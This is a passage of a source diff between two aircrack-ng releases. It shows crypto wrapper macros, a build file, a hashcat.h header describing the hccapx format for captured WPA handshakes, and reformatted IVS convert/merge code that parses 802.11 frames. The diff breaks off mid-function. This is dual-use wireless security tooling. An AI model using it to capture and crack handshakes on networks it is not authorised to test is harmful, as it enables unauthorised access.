-#define HMAC_CTX                                        gcry_md_hd_t
-#define HMAC_CTX_cleanup(ctx)                           gcry_md_close(*ctx)
-#define HMAC_CTX_init(ctx)                              ; // noop
-#define HMAC_Init_ex(ctx, key, len, md, engine)         HMAC_Init(ctx, key, len, md)
-#define HMAC_Init(ctx, key, len, md)                    do  { \
-                                                            if ((len==0)||(key==NULL)||(md==0)) { \
-                                                                gcry_md_reset(*ctx); \
-                                                            } else { \
-                                                                gcry_md_open(ctx, md, GCRY_MD_FLAG_HMAC); \
-                                                                gcry_md_setkey(*ctx, key, len); \
-                                                            } \
-                                                        }  while (0)
-#define HMAC_Update(ctx, data, len)                     gcry_md_write(*ctx, data, len)
-#define HMAC_Final(ctx, md, len)                        do  { \
-                                                            memcpy(   md,  \
-                                                                gcry_md_read(*ctx, 0), \
-                                                                gcry_md_get_algo_dlen(gcry_md_get_algo(*ctx)) \
-                                                            ); \
-                                                        } while (0)
-#define HMAC(algo, key, klen, data, dlen, res, rlen)    do  { \
-                                                            gcry_md_hd_t mdh; \
-                                                            gcry_md_open(&mdh, algo, GCRY_MD_FLAG_HMAC); \
-                                                            gcry_md_setkey(mdh, key, klen); \
-                                                            gcry_md_write(mdh, data, dlen); \
-                                                            memcpy(res, gcry_md_read(mdh, algo), \
-                                                                gcry_md_get_algo_dlen (algo));  \
-                                                            gcry_md_close(mdh); \
-                                                        } while (0)
+#define HMAC_CTX gcry_md_hd_t
+#define HMAC_CTX_cleanup(ctx) gcry_md_close(*ctx)
+#define HMAC_CTX_init(ctx) ; // noop
+#define HMAC_Init_ex(ctx, key, len, md, engine) HMAC_Init(ctx, key, len, md)
+#define HMAC_Init(ctx, key, len, md)                                           \
+	do                                                                         \
+	{                                                                          \
+		if ((len == 0) || (key == NULL) || (md == 0))                          \
+		{                                                                      \
+			gcry_md_reset(*ctx);                                               \
+		}                                                                      \
+		else                                                                   \
+		{                                                                      \
+			gcry_md_open(ctx, md, GCRY_MD_FLAG_HMAC);                          \
+			gcry_md_setkey(*ctx, key, len);                                    \
+		}                                                                      \
+	} while (0)
+#define HMAC_Update(ctx, data, len) gcry_md_write(*ctx, data, len)
+#define HMAC_Final(ctx, md, len)                                               \
+	do                                                                         \
+	{                                                                          \
+		memcpy(md,                                                             \
+			   gcry_md_read(*ctx, 0),                                          \
+			   gcry_md_get_algo_dlen(gcry_md_get_algo(*ctx)));                 \
+	} while (0)
+#define HMAC(algo, key, klen, data, dlen, res, rlen)                           \
+	do                                                                         \
+	{                                                                          \
+		gcry_md_hd_t mdh;                                                      \
+		gcry_md_open(&mdh, algo, GCRY_MD_FLAG_HMAC);                           \
+		gcry_md_setkey(mdh, key, klen);                                        \
+		gcry_md_write(mdh, data, dlen);                                        \
+		memcpy(res, gcry_md_read(mdh, algo), gcry_md_get_algo_dlen(algo));     \
+		gcry_md_close(mdh);                                                    \
+	} while (0)
+// MD5
+#define MD5_CTX gcry_md_hd_t
+#define MD5_Init(ctx) gcry_md_open(ctx, GCRY_MD_MD5, 0)
+#define MD5_Update(ctx, data, len) gcry_md_write(*ctx, data, len)
+// HMAC_Update(ctx, data, len)
+#define MD5_Final(ctx, md)                                                     \
+	do                                                                         \
+	{                                                                          \
+		memcpy(                                                                \
+			md,                                                                \
+			gcry_md_read(*(gcry_md_hd_t *) ctx, GCRY_MD_MD5),                  \
+			gcry_md_get_algo_dlen(gcry_md_get_algo(*(gcry_md_hd_t *) ctx)));   \
+		gcry_md_close(*(gcry_md_hd_t *) ctx);                                  \
+	} while (0)
+// SHA256
+#define SHA256_CTX gcry_md_hd_t
+#define SHA256_Init(ctx) gcry_md_open(ctx, GCRY_MD_SHA256, 0)
+#define SHA256_Update(ctx, data, len) gcry_md_write(*ctx, data, len)
+#define SHA256_Final(md, ctx)                                                  \
+	do                                                                         \
+	{                                                                          \
+		memcpy(                                                                \
+			md,                                                                \
+			gcry_md_read(*(gcry_md_hd_t *) ctx, GCRY_MD_SHA256),               \
+			gcry_md_get_algo_dlen(gcry_md_get_algo(*(gcry_md_hd_t *) ctx)));   \
+		gcry_md_close(*(gcry_md_hd_t *) ctx);                                  \
+	} while (0)
+
 // http://tumblr.spantz.org/post/214737529/the-use-of-do-while-0-in-c-macros
 #endif // _GCRYPT_OPENSSL_WRAPPER_H

aircrack-ng-1.4.tar.gz/src/include/Makefile.am Added

@@ -0,0 +1,53 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(LIBNL_CFLAGS)
+
+EXTRA_DIST = ieee80211.h \
+             if_arp.h \
+             eapol.h \
+             ethernet.h \
+             if_llc.h \
+             hashcat.h
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/src/include/eapol.h -> aircrack-ng-1.4.tar.gz/src/include/eapol.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/include/ethernet.h -> aircrack-ng-1.4.tar.gz/src/include/ethernet.h Changed

aircrack-ng-1.4.tar.gz/src/include/hashcat.h Added

@@ -0,0 +1,162 @@
+/*
+ *  Hashcat structures and macros
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _HASHCAT_H_
+#define _HASHCAT_H_
+
+#include <stdint.h>
+
+// Hashcat v3.5 and lower
+typedef struct
+{
+	char essid[36];
+
+	unsigned char mac1[6];
+	unsigned char mac2[6];
+	unsigned char nonce1[32];
+	unsigned char nonce2[32];
+
+	unsigned char eapol[256];
+	int eapol_size;
+
+	int keyver;
+	unsigned char keymic[16];
+
+} hccap_t;
+
+// Docs: https://hashcat.net/wiki/doku.php?id=hccapx
+
+#define HCCAPX_SIGNATURE 0x58504348 // HCPX
+
+#define HCCAPX_CURRENT_VERSION 4
+
+// https://hashcat.net/wiki/doku.php?id=hccapx
+typedef struct hccapx
+{
+	uint32_t
+		signature; /* signature (file magic) of .hccapx files, it is always the
+					  string HCPX */
+	uint32_t version; /* version number of the .hccapx file format */
+	uint8_t message_pair; /* possible values range from 0 to 5 or 128 to 133 */
+	/* message_pair was extended with some additional information: the highest
+   * bit could be used
+   * to indicate if the message pair matching was done based on replay counter
+   * or not. Whenever
+   * the highest bit (bit 8) was set to 1 it means that the replay counter was
+   * ignored (i.e. it
+   * was not considered at all by the matching algorithm):
+   *
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | message_pair (hex) | message_pair (dec) | Highest bit | Meaning |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | 0x00 to 0x05       | 0 to 5             | 0           | Message pair
+   * according to table below with replay counter matching |
+   * | 0x80 to 0x85       | 128 to 133         | 1           | Message pair
+   * according to table below, replay counter was ignored  |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   *
+   * The message_pair value describes which messages of the 4-way handshake were
+   * combined to form the
+   * .hccapx structure. It is always a pair of 2 messages: 1 from the AP (access
+   * point) and 1 from the STA (client).
+   *
+   * Furthermore, the message_pair value also gives a hint from which of the 2
+   * messages the EAPOL origins.
+   * This is interesting data, but not necessarily needed for hashcat to be able
+   * to crack the hash.
+   *
+   * On the other hand, it could be very important to know if "only" message 1
+   * and message 2 were captured
+   * or if for instance message 3 and/or message 4 were captured too. If message
+   * 3 and/or message 4 were captured
+   * it should be a hard evidence that the connection was established and that
+   * the password the client used was the
+   * correct one.
+   *
+   * The following table lists all values currently allowed for the message_pair
+   * field:
+   *
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | message_pair value | Messages of the handshake | Source of the EAPOL | AP
+   * message | STA message | Replay counter matching  |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   * | 0                  | M1 + M2                   | M2                  | M1
+   * | M2          | Yes                      |
+   * | 1                  | M1 + M4                   | M4                  | M1
+   * | M4          | Yes                      |
+   * | 2                  | M2 + M3                   | M2                  | M3
+   * | M2          | Yes                      |
+   * | 3                  | M2 + M3                   | M3                  | M3
+   * | M2          | Yes                      |
+   * | 4                  | M3 + M4                   | M3                  | M3
+   * | M4          | Yes                      |
+   * | 5                  | M3 + M4                   | M4                  | M3
+   * | M4          | Yes                      |
+   * | 128                | M1 + M2                   | M2                  | M1
+   * | M2          | No                       |
+   * | 129                | M1 + M4                   | M4                  | M1
+   * | M4          | No                       |
+   * | 130                | M2 + M3                   | M2                  | M3
+   * | M2          | No                       |
+   * | 131                | M2 + M3                   | M3                  | M3
+   * | M2          | No                       |
+   * | 132                | M3 + M4                   | M3                  | M3
+   * | M4          | No                       |
+   * | 133                | M3 + M4                   | M4                  | M3
+   * | M4          | No                       |
+   * .----------------------------------------------------------------------------------------------------------------------------.
+   *
+   * Note: M1 means message 1 of the handshake, M2 means message 2 of the
+   * handshake, M3 means message 3 of
+   * the handshake and M4 means message 4 of the 4-way handshake
+   */
+	uint8_t essid_len; /* length of the network name (ESSID)  */
+	uint8_t essid[32]; /* ESSID */
+	uint8_t keyver; /* set to 1 if WPA is used, other values (preferably 2)
+						   means WPA2  */
+	uint8_t keymic[16]; /* the actual hash value (MD5 for WPA, SHA1 for WPA2)
+						   truncated to 128 bit (16 bytes) */
+	uint8_t mac_ap[6]; /* BSSID */
+	uint8_t
+		nonce_ap[32]; /* nonce (random salt) generated by the access point */
+	uint8_t mac_sta[6]; /* mac address of the client connecting to the access
+						   point */
+	uint8_t nonce_sta[32]; /* nonce (random salt) generated by the client
+							  connecting to the access point */
+	uint16_t eapol_len; /* length of the EAPOL */
+	uint8_t eapol[256]; /* EAPOL (max 256 bytes) */
+
+} __attribute__((packed)) hccapx_t;
+
+#endif

aircrack-ng-1.2-rc4.tar.gz/src/ivstools.c -> aircrack-ng-1.4.tar.gz/src/ivstools.c Changed

@@ -1,7 +1,7 @@
- /*
+/*
   *  IVS Tools - Convert or merge IVs
   *
-  *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+  *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
   *  Copyright (C) 2004, 2005  Christophe Devine (pcap2ivs and mergeivs)
   *
   *  This program is free software; you can redistribute it and/or modify
@@ -16,7 +16,7 @@
   *
   *  You should have received a copy of the GNU General Public License
   *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
   *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -35,937 +35,965 @@
 
 #include <string.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <time.h>
 
 #include "version.h"
 #include "crypto.h"
 #include "pcap.h"
 #include "uniqueiv.h"
-#include "osdep/byteorder.h"
-#include "common.h"
+#include "aircrack-osdep/byteorder.h"
+#include "aircrack-util/common.h"
 #include "eapol.h"
 
+#include "aircrack-util/console.h"
+
 #define FAILURE -1
-#define IVS     1
-#define WPA     2
-#define ESSID   3
+#define IVS 1
+#define WPA 2
+#define ESSID 3
 
 /* linked list of detected access points */
 
 struct AP_info
 {
-    struct AP_info *prev;     /* prev. AP in list         */
-    struct AP_info *next;     /* next  AP in list         */
+	struct AP_info * prev; /* prev. AP in list         */
+	struct AP_info * next; /* next  AP in list         */
 
-    int ssid_length;          /* length of ssid           */
+	int ssid_length; /* length of ssid           */
 
-    unsigned char bssid[6];   /* the access point's MAC   */
-    unsigned char essid[256]; /* ascii network identifier */
+	unsigned char bssid[6]; /* the access point's MAC   */
+	unsigned char essid[256]; /* ascii network identifier */
 
-    unsigned char **uiv_root; /* unique iv root structure */
-    /* if wep-encrypted network */
+	unsigned char ** uiv_root; /* unique iv root structure */
+	/* if wep-encrypted network */
 
-    int wpa_stored;           /* wpa stored in ivs file?   */
-    int essid_stored;         /* essid stored in ivs file? */
+	int wpa_stored; /* wpa stored in ivs file?   */
+	int essid_stored; /* essid stored in ivs file? */
 };
 
 /* linked list of detected clients */
 
 struct ST_info
 {
-    struct ST_info *prev;    /* the prev client in list   */
-    struct ST_info *next;    /* the next client in list   */
-    struct AP_info *base;    /* AP this client belongs to */
-    unsigned char stmac[6];  /* the client's MAC address  */
-    struct WPA_hdsk wpa;     /* WPA handshake data        */
+	struct ST_info * prev; /* the prev client in list   */
+	struct ST_info * next; /* the next client in list   */
+	struct AP_info * base; /* AP this client belongs to */
+	unsigned char stmac[6]; /* the client's MAC address  */
+	struct WPA_hdsk wpa; /* WPA handshake data        */
 };
 
 /* bunch of global stuff */
 
 struct globals
 {
-    struct AP_info *ap_1st, *ap_end;
-    struct ST_info *st_1st, *st_end;
-
-    unsigned char prev_bssid[6];
-    FILE *f_ivs;            /* output ivs file      */
-}
-G;
+	struct AP_info *ap_1st, *ap_end;
+	struct ST_info *st_1st, *st_end;
 
-static unsigned char ZERO[32] =
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00";
+	unsigned char prev_bssid[6];
+	FILE * f_ivs; /* output ivs file      */
+} G;
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-
-void usage(int what)
+static void usage(int what)
 {
-    char *version_info = getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-    printf("\n  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-            "  http://www.aircrack-ng.org\n"
-            "\n   usage: ", version_info);
-    free(version_info);
-    if (what == 0 || what == 1)
-        printf( "ivstools --convert <pcap file> <ivs output file>\n"
-                "        Extract ivs from a pcap file\n");
-    if (what == 0)
-        printf("       ");
-    if (what == 0 || what == 2)
-        printf("ivstools --merge <ivs file 1> <ivs file 2> .. <output file>\n"
-                "        Merge ivs files\n");
+	char * version_info
+		= getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n   usage: ",
+		   version_info);
+	free(version_info);
+	if (what == 0 || what == 1)
+		printf("ivstools --convert <pcap file> <ivs output file>\n"
+			   "        Extract ivs from a pcap file\n");
+	if (what == 0) printf("       ");
+	if (what == 0 || what == 2)
+		printf("ivstools --merge <ivs file 1> <ivs file 2> .. <output file>\n"
+			   "        Merge ivs files\n");
 }
 
-int merge( int argc, char *argv[] )
+static int merge(int argc, char * argv[])
 {
-    int i, n, unused;
-    unsigned long nbw;
-    unsigned char buffer[1024];
-    FILE *f_in, *f_out;
-    struct ivs2_filehdr fivs2;
-    struct ivs2_pkthdr ivs2;
-
-    if( argc < 5 )
-    {
-        usage(2);
-        return( 1 );
-    }
-
-    printf( "Creating %s\n", argv[argc - 1] );
-
-    if( ( f_out = fopen( argv[argc - 1], "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
-
-    nbw = 0;
-
-    for( i = 2; i < argc - 1; ++i )
-    {
-        printf( "Opening %s\n", argv[i] );
-
-        if( ( f_in = fopen( argv[i], "rb" ) ) == NULL )
-        {
-        	fclose(f_out);
-            perror( "fopen failed" );
-            return( 1 );
-        }
-
-        if( fread( buffer, 1, 4, f_in ) != 4 )
-        {
-        	fclose(f_out);
-        	fclose(f_in);
-            perror( "fread file header failed" );
-            return( 1 );
-        }
-
-        if( memcmp( buffer, IVSONLY_MAGIC, 4 ) == 0 )
-        {
-        	fclose(f_out);
-        	fclose(f_in);
-            printf( "%s is an old .ivs file\n", argv[i] );
-            return( 1 );
-        }
-
-        if( memcmp( buffer, IVS2_MAGIC, 4 ) != 0 )
-        {
-        	fclose(f_out);
-        	fclose(f_in);
-            printf( "%s is not an .%s file\n", argv[i], IVS2_EXTENSION );
-            return( 1 );
-        }
-
-        if( fread( &fivs2, 1, sizeof(struct ivs2_filehdr), f_in ) != (size_t) sizeof(struct ivs2_filehdr) )
-        {
-        	fclose(f_out);
-        	fclose(f_in);
-            perror( "fread file header failed" );
-            return( 1 );
-        }
-
-        if( fivs2.version > IVS2_VERSION )
-        {
-        	fclose(f_out);
-        	fclose(f_in);
-            printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION );
-            return( 1 );
-        }
-
-        if( i == 2 )
-        {
-            unused = fwrite( buffer, 1, 4, f_out );
-            unused = fwrite( &ivs2, 1, sizeof(struct ivs2_filehdr), f_out );
-        }
-
-        while( ( n = fread( buffer, 1, 1024, f_in ) ) > 0 )
-        {
-            nbw += n;
-            unused = fwrite( buffer, 1, n, f_out );
-            printf( "%ld bytes written\r", nbw );
-        }
-
-        fclose( f_in );
-
-        printf( "\n" );
-    }
-
-    fclose( f_out );
-
-    return( 0 );
+	int i, n, unused;
+	unsigned long nbw;
+	unsigned char buffer[1024];
+	FILE *f_in, *f_out;
+	struct ivs2_filehdr fivs2;
+
+	if (argc < 5)
+	{
+		usage(2);
+		return (1);
+	}
+
+	// Check filenames are not empty
+	for (i = 2; i < argc - 1; ++i)
+	{
+		if (argv[i][0] == 0)
+		{
+			printf("Filename #%d is empty, aborting\n", i - 1);
+			return (1);
+		}
+	}
+
+	printf("Creating %s\n", argv[argc - 1]);
+
+	if ((f_out = fopen(argv[argc - 1], "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		return (1);
+	}
+
+	nbw = 0;
+
+	for (i = 2; i < argc - 1; ++i)
+	{
+		printf("Opening %s\n", argv[i]);
+
+		if ((f_in = fopen(argv[i], "rb")) == NULL)
+		{
+			fclose(f_out);
+			perror("fopen failed");
+			return (1);
+		}
+
+		if (fread(buffer, 1, 4, f_in) != 4)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			perror("fread file header failed");
+			return (1);
+		}
+
+		if (memcmp(buffer, IVSONLY_MAGIC, 4) == 0)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			printf("%s is an old .ivs file\n", argv[i]);
+			return (1);
+		}
+
+		if (memcmp(buffer, IVS2_MAGIC, 4) != 0)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			printf("%s is not an .%s file\n", argv[i], IVS2_EXTENSION);
+			return (1);
+		}
+
+		if (fread(&fivs2, 1, sizeof(struct ivs2_filehdr), f_in)
+			!= (size_t) sizeof(struct ivs2_filehdr))
+		{
+			fclose(f_out);
+			fclose(f_in);
+			perror("fread file header failed");
+			return (1);
+		}
+
+		if (fivs2.version > IVS2_VERSION)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			printf("Error, wrong %s version: %d. Supported up to version %d.\n",
+				   IVS2_EXTENSION,
+				   fivs2.version,
+				   IVS2_VERSION);
+			return (1);
+		}
+
+		if (i == 2)
+		{
+			unused = fwrite(buffer, 1, 4, f_out);
+			unused = fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_out);
+		}
+
+		while ((n = fread(buffer, 1, 1024, f_in)) > 0)
+		{
+			nbw += n;
+			unused = fwrite(buffer, 1, n, f_out);
+			printf("%lu bytes written\r", nbw);
+		}
+
+		fclose(f_in);
+
+		printf("\n");
+	}
+
+	fclose(f_out);
+
+	return (0);
 }
 
-int dump_add_packet( unsigned char *h80211, unsigned caplen)
+static int dump_add_packet(unsigned char * h80211, unsigned caplen)
 {
-    int i, n, seq, dlen, clen;
-    unsigned z;
-    struct ivs2_pkthdr ivs2;
-    unsigned char *p;
-    unsigned char bssid[6];
-    unsigned char stmac[6];
-    unsigned char clear[2048];
-    int weight[16];
-    int num_xor, o;
+	int i, n, seq, dlen, clen;
+	unsigned z;
+	struct ivs2_pkthdr ivs2;
+	unsigned char * p;
+	unsigned char bssid[6];
+	unsigned char stmac[6];
+	unsigned char clear[2048];
+	int weight[16];
+	int num_xor, o;
+
+	struct AP_info * ap_cur = NULL;
+	struct ST_info * st_cur = NULL;
+	struct AP_info * ap_prv = NULL;
+	struct ST_info * st_prv = NULL;
+
+	/* skip packets smaller than a 802.11 header */
+
+	if (caplen < 24) return FAILURE;
+
+	/* skip (uninteresting) control frames */
+
+	if ((h80211[0] & 0x0C) == 0x04) return FAILURE;
+
+	/* grab the sequence number */
+	seq = ((h80211[22] >> 4) + (h80211[23] << 4));
+
+	/* locate the access point's MAC address */
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, h80211 + 16, 6);
+			break;
+		case 1:
+			memcpy(bssid, h80211 + 4, 6);
+			break;
+		case 2:
+			memcpy(bssid, h80211 + 10, 6);
+			break;
+		default:
+			memcpy(bssid, h80211 + 10, 6);
+			break;
+	}
+
+	/* update our chained list of access points */
+
+	ap_cur = G.ap_1st;
+	ap_prv = NULL;
+
+	while (ap_cur != NULL)
+	{
+		if (!memcmp(ap_cur->bssid, bssid, 6)) break;
+
+		ap_prv = ap_cur;
+		ap_cur = ap_cur->next;
+	}
+
+	/* if it's a new access point, add it */
+
+	if (ap_cur == NULL)
+	{
+		if (!(ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
+		{
+			perror("malloc failed");
+			return FAILURE;
+		}
 
-    struct AP_info *ap_cur = NULL;
-    struct ST_info *st_cur = NULL;
-    struct AP_info *ap_prv = NULL;
-    struct ST_info *st_prv = NULL;
+		memset(ap_cur, 0, sizeof(struct AP_info));
 
-    /* skip packets smaller than a 802.11 header */
+		if (G.ap_1st == NULL)
+			G.ap_1st = ap_cur;
+		else
+			ap_prv->next = ap_cur;
 
-    if( caplen < 24 )
-        return FAILURE;
+		memcpy(ap_cur->bssid, bssid, 6);
 
-    /* skip (uninteresting) control frames */
+		ap_cur->prev = ap_prv;
 
-    if( ( h80211[0] & 0x0C ) == 0x04 )
-        return FAILURE;
+		ap_cur->uiv_root = uniqueiv_init();
 
-    /* grab the sequence number */
-    seq = ((h80211[22]>>4)+(h80211[23]<<4));
+		G.ap_end = ap_cur;
 
-    /* locate the access point's MAC address */
+		ap_cur->ssid_length = 0;
+		ap_cur->wpa_stored = 0;
+		ap_cur->essid_stored = 0;
+	}
 
-    switch( h80211[1] & 3 )
-    {
-        case  0: memcpy( bssid, h80211 + 16, 6 ); break;
-        case  1: memcpy( bssid, h80211 +  4, 6 ); break;
-        case  2: memcpy( bssid, h80211 + 10, 6 ); break;
-        default: memcpy( bssid, h80211 + 10, 6 ); break;
-    }
+	/* find wpa handshake */
+	if (h80211[0] == 0x10)
+	{
+		/* reset the WPA handshake state */
 
-    /* update our chained list of access points */
+		if (st_cur != NULL && st_cur->wpa.state != 0xFF) st_cur->wpa.state = 0;
+		//        printf("initial auth %d\n", ap_cur->wpa_state);
+	}
 
-    ap_cur = G.ap_1st;
-    ap_prv = NULL;
+	/* locate the station MAC in the 802.11 header */
 
-    while( ap_cur != NULL )
-    {
-        if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
-            break;
+	switch (h80211[1] & 3)
+	{
+		case 0:
 
-        ap_prv = ap_cur;
-        ap_cur = ap_cur->next;
-    }
+			/* if management, check that SA != BSSID */
 
-    /* if it's a new access point, add it */
+			if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
 
-    if( ap_cur == NULL )
-    {
-        if( ! ( ap_cur = (struct AP_info *) malloc(
-                sizeof( struct AP_info ) ) ) )
-        {
-            perror( "malloc failed" );
-            return FAILURE;
-        }
+			memcpy(stmac, h80211 + 10, 6);
+			break;
 
-        memset( ap_cur, 0, sizeof( struct AP_info ) );
+		case 1:
 
-        if( G.ap_1st == NULL )
-            G.ap_1st = ap_cur;
-        else
-            ap_prv->next  = ap_cur;
+			/* ToDS packet, must come from a client */
 
-        memcpy( ap_cur->bssid, bssid, 6 );
+			memcpy(stmac, h80211 + 10, 6);
+			break;
 
-        ap_cur->prev = ap_prv;
+		case 2:
 
-        ap_cur->uiv_root = uniqueiv_init();
+			/* FromDS packet, reject broadcast MACs */
 
-        G.ap_end = ap_cur;
+			if (h80211[4] != 0) goto skip_station;
+			memcpy(stmac, h80211 + 4, 6);
+			break;
 
-        ap_cur->ssid_length = 0;
-        ap_cur->wpa_stored   = 0;
-        ap_cur->essid_stored = 0;
-    }
+		default:
+			goto skip_station;
+	}
 
-    /* find wpa handshake */
-    if( h80211[0] == 0x10 )
-    {
-        /* reset the WPA handshake state */
+	/* update our chained list of wireless stations */
 
-        if( st_cur != NULL && st_cur->wpa.state != 0xFF )
-            st_cur->wpa.state = 0;
-//        printf("initial auth %d\n", ap_cur->wpa_state);
-    }
+	st_cur = G.st_1st;
+	st_prv = NULL;
 
-    /* locate the station MAC in the 802.11 header */
+	while (st_cur != NULL)
+	{
+		if (!memcmp(st_cur->stmac, stmac, 6)) break;
 
-    switch( h80211[1] & 3 )
-    {
-        case  0:
+		st_prv = st_cur;
+		st_cur = st_cur->next;
+	}
 
-            /* if management, check that SA != BSSID */
+	/* if it's a new client, add it */
 
-            if( memcmp( h80211 + 10, bssid, 6 ) == 0 )
-                goto skip_station;
+	if (st_cur == NULL)
+	{
+		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
+		{
+			perror("malloc failed");
+			return FAILURE;
+		}
 
-            memcpy( stmac, h80211 + 10, 6 );
-            break;
+		memset(st_cur, 0, sizeof(struct ST_info));
 
-        case  1:
+		if (G.st_1st == NULL)
+			G.st_1st = st_cur;
+		else
+			st_prv->next = st_cur;
 
-            /* ToDS packet, must come from a client */
+		memcpy(st_cur->stmac, stmac, 6);
 
-            memcpy( stmac, h80211 + 10, 6 );
-            break;
+		st_cur->prev = st_prv;
 
-        case  2:
+		G.st_end = st_cur;
+	}
 
-            /* FromDS packet, reject broadcast MACs */
+	if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
+		st_cur->base = ap_cur;
 
-            if( h80211[4] != 0 ) goto skip_station;
-            memcpy( stmac, h80211 +  4, 6 ); break;
+skip_station:
 
-            default: goto skip_station;
-    }
+	/* packet parsing: Beacon or Probe Response */
 
-    /* update our chained list of wireless stations */
+	if (h80211[0] == 0x80 || h80211[0] == 0x50)
+	{
+		p = h80211 + 36;
 
-    st_cur = G.st_1st;
-    st_prv = NULL;
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00) ap_cur->ssid_length = p[1];
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+
+				//                n = ( p[1] > 32 ) ? 32 : p[1];
+				n = p[1];
+
+				memset(ap_cur->essid, 0, 256);
+				memcpy(ap_cur->essid, p + 2, n);
+
+				if (G.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
